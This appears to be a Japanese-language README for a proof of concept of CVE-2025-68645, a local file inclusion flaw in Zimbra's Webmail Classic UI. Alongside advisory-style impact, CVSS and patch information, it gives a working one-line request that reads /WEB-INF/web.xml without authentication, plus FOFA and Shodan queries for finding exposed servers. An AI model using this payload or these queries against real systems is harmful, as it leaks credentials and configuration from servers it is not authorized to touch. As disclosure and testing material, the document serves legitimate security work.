zimbramail-CVE-2025-68645-poc

Zimbra Collaboration (ZCS) 10.0 および 10.1 の Webmail Classic UI に存在する Local File Inclusion (LFI) 脆弱性を悪用する Proof of Concept です。この脆弱性は、RestFilter サーブレットにおけるユーザー提供のリクエストパラメータの不適切な処理に起因します。

脆弱性

この脆弱性は、RestFilter サーブレットにおける入力検証の不備に起因します。認証されていないリモート攻撃者が /h/rest エンドポイントへのリクエストを細工することで内部のリクエストディスパッチに影響を与え、WebRoot ディレクトリから任意のファイルをインクルードすることが可能になります。

• ユーザー制御のパラメータが適切にサニタイズされていません。
• 内部リクエストのルーティングが操作される可能性があります。
• WebRoot ディレクトリ配下の任意のファイルがサーバー応答に含まれる可能性があります。

影響を受けるバージョン

• Zimbra 10.0.x で 10.0.18 より前のバージョン
• Zimbra 10.1.x で 10.1.13 より前のバージョン

PoC（by sirifu4k1）

http://127.0.0.1/h/rest?javax.servlet.include.servlet_path=/WEB-INF/web.xml

Zimbra WebRoot ディレクトリについて：https://github.com/Zimbra/zm-web-client/tree/develop/WebRoot

自動化

Nuclei-Template:

https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2025/CVE-2025-68645.yaml

公開情報

FOFA:

((title="Zimbra Web Client Sign In") || (title="Zimbra 网络客户端登录"))

SHODAN:

http.title:"Zimbra Web Client Sign In"

影響

認証されていないリモート攻撃者が WebRoot ディレクトリから任意のファイルをインクルードし、機密情報を漏洩させる可能性があります。

• 機密ファイルの読み取り（設定、環境データ）
• 認証情報や内部パスの漏洩
• さらなる攻撃のための情報収集
• 他の脆弱性と組み合わせたより深い侵害

Vector 3.x CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H / Base Score 3.x 8.80 / Severity 3.x HIGH

修正と緩和策

最新バージョンの Zimbra Collaboration にアップデートしてください。

• ZCS 10.0.18
• ZCS 10.1.13 以降

推奨アクション：

1. パッチ適用済みバージョンに直ちにアップグレードする
2. Classic UI が不要な場合は無効にする
3. /h/rest への不審なアクセスをログで監視する
4. 可能な限り Zimbra Web エンドポイントへのパブリックアクセスを制限する
5. WebRoot のパーミッションと公開されているファイルを確認する

参考文献

https://nvd.nist.gov/vuln/detail/CVE-2025-68645

https://wiki.zimbra.com/wiki/Security_Center

https://wiki.zimbra.com/wiki/Zimbra_Responsible_Disclosure_Policy

https://x.com/sirifu4k1/status/2006031417088639064

免責事項

このツールは許可されたセキュリティテストのみを目的としています。コンピュータシステムへの不正アクセスは違法です。